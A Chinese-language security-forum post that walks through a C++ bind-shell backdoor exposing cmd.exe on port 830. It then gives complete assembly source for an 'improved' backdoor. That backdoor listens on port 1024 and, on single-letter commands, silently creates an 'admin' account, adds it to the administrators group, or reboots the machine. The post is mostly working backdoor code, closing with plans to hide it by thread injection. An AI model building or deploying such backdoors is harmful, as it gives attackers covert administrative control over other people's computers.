文章作者:Asm
信息来源:邪恶八进制信息安全团队(
http://forum.eviloctal.com/)
这几天对TCP网络编程有些发烧,觉得编程的乐趣又提升到一个新的高度。现在我们来分析一个网友写的VC++后门代码。其实这个代码没有什么特别之处,只是单单实现了TCP网络编程的基础而已。代码:
复制内容到剪贴板
代码:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
WSADATA ws;
SOCKET listenFD;
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用WSASocket
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//监听本机830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求830端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}先看这段代码,首先初始化WSAStartup。它第一个参数是用来指定动态链接库将支持哪个版本的WinSock函数,听我们的菠菜大牛说已经到了0202。接着就是创建套接字,它这里是WSASocket,当然我们也可以用Socket。到了这步就开始设置一些IP地址格式,端口等,下面就调用bind绑定在一起,这个时候就开始监听了,设置连接个数是2个。当然,还差一个accept来确定客户端发起的连接。到这里看似没什么问题,不过我们继续往后面看,他这个后门的命令启动方式是调用CreateProcess创建一个cmd,待我们连接后门的时候,可怕的东西诞生了,那是什么呢?看图:

一旦我们连接后门,cmd就弹出来了,如果我的电脑无缘无故弹出一个黑黑的窗口,你说我会怀疑吗?至少有点网络经验的人都知道,我中招了。后面还有更严重的是,如果关闭这个cmd窗口,后门也就断开了!如图:

这个后门的寿命恐怕最短!那该怎么做捏?很简单,我们可以这样想,如果我们发送一个特定字符,例如 net,然后我们可以在接收这个字符后,对比一下符合我们预定的命令,如果符合,那就调用CreateProcess执行这个命令!这样就免去了创建cmd了。比如:
复制内容到剪贴板
代码:
.data
szNetCmdLine db ‘net user admin admin /add’,0
.data?
szBuffer db MAX_PATH dup(?)
.
. .while TRUE
invoke recv,hSocket,addr szBuffer,1024,0
invoke recv,client,addr lpBuffer,1024,0
.break .if eax==SOCKET_ERROR
.break .if eax!= hSocket
.if szBuffer=='net’
invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szNetCmdLine,NULL,NULL,NULL,\
NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo接收客户端的消息后,一直循环检测是否为SOCKET_ERROR,如果不是就循环等待接受命令,如果客户端断开连接,那么就没必要继续接收数据.如果不这样做,就会一直弹出cmd窗口来 ^_^
好,主要的思想已经弄明白了,下面我给你完整代码:
复制内容到剪贴板
代码:
;**********************************************************************
;程序编写by Asm
;日期:2007-1-6日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;注意事项:公布源码仅限技术交流,如果使用引起的损失,由使用者自己全部负责!
;**********************************************************************
.386P
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include wsock32.inc
includelib user32.lib
includelib kernel32.lib
includelib wsock32.lib
TCP_PORT equ 1024 ;常量定义
.data
szWelcome db 13,10,
"Welcome to [C.R.S.T] -",13,10,13,10,
"一个简单的后门程序编写测试 ^_^ 只实现简单的通信功能!",13,10,13,10,
" By Asm 红狼安全小组[C.R.S.T]",13,10,13,10,
" 2007.1.6 ",13,10,13,10,
13,10,13,10,13,10,0
szNetCmdLine db 'net user admin admin /add',0
szNetCmdLine1 db 'net localgroup administrators admin /add',0
szShutdownCmdLine db 'shutdown -r',0
szTest db '.................命令成功完成',0
szDirectory db 156 dup(0)
szXie db '>',0
szSytem db 156 dup(0)
.data?
hScoket SOCKET ?
hScoket1 SOCKET ?
szBuffer db MAX_PATH dup(?)
stStartUp STARTUPINFO <?>
stProcInfo PROCESS_INFORMATION <?>
dwSize DWORD ?
.code
_ProcessMain proc
local @wsaData:WSADATA
local @hScoket:SOCKET
local @stAddr:sockaddr_in
invoke WSAStartup,0202H,addr @wsaData ;初始化WSAStartup库
invoke RtlZeroMemory,addr @stAddr,sizeof sockaddr_in ;清空内存
mov @stAddr.sin_family,AF_INET ;设置IP格式
invoke htons,TCP_PORT ;设置端口
mov @stAddr.sin_port,ax ;保存
mov @stAddr.sin_addr,INADDR_ANY ;设置IP地址
invoke socket,AF_INET,SOCK_STREAM,0 ;加载套接字
.if eax != INVALID_SOCKET
mov hScoket,eax ;保存句柄
.endif
invoke bind,hScoket,addr @stAddr,sizeof sockaddr_in ;绑定
.if eax != SOCKET_ERROR
invoke listen,hScoket,5 ;开始监听,默认连接5个
.endif
invoke accept,hScoket,NULL,NULL ;如果有客户端连接,马上确定
.if eax != INVALID_SOCKET
mov hScoket1,eax ;返回句柄用做收发数据
mov @hScoket,eax ;返回句柄用做退出处理
.endif
invoke send,hScoket1,addr szWelcome,sizeof szWelcome,0 ;发送欢迎的文字到客户端
invoke GetSystemDirectory,addr szDirectory,addr dwSize ;获取系统目录
invoke lstrcat,addr szSytem,addr szDirectory
invoke lstrcat,addr szSytem,addr szXie ;串联成字符,XP下提示c:\windows\system32> 2000下提示c:\winnt\system32>
invoke send,hScoket1,addr szSytem,sizeof szSytem,0 ;发送
.if eax == SOCKET_ERROR
mov eax,FALSE
ret
.endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.while TRUE
invoke recv,hScoket1,addr szBuffer,1024,0 ;开始接收命令
.break .if eax==SOCKET_ERROR ;一直循环到客户端断开连接
.break .if szBuffer=='o' ;如果客户端退出,也就是断开连接
mov eax,@hScoket ;保存到eax
.break .if eax!=hScoket1 ;做同样的循环处理
.if szBuffer == 'n' ;是net命令吗?
invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szNetCmdLine,NULL,NULL,NULL,\ ;是的话就处理
CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo
invoke CreateProcess,NULL,addr szNetCmdLine1,NULL,NULL,NULL,\
CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo
invoke send,hScoket1,addr szTest,sizeof szTest,0 ;发送命令提示
.elseif szBuffer == 's' ;是shutdown命令吗?
invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szShutdownCmdLine,NULL,NULL,NULL,\ ;是的话就处理
CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo
invoke send,hScoket1,addr szTest,sizeof szTest,0 ;发送命令提示
.else
.continue
.endif
invoke Sleep,1000
.endw
mov eax,TRUE
ret
_ProcessMain endp
start:
invoke _ProcessMain
invoke ExitProcess,NULL
end startTCP网络编程的后门就是这样的一个模式了 ^_^ 如果有空可能要把线程注入的技术用到这个,让这个后门隐藏起来。最后程序测试的结果如图:
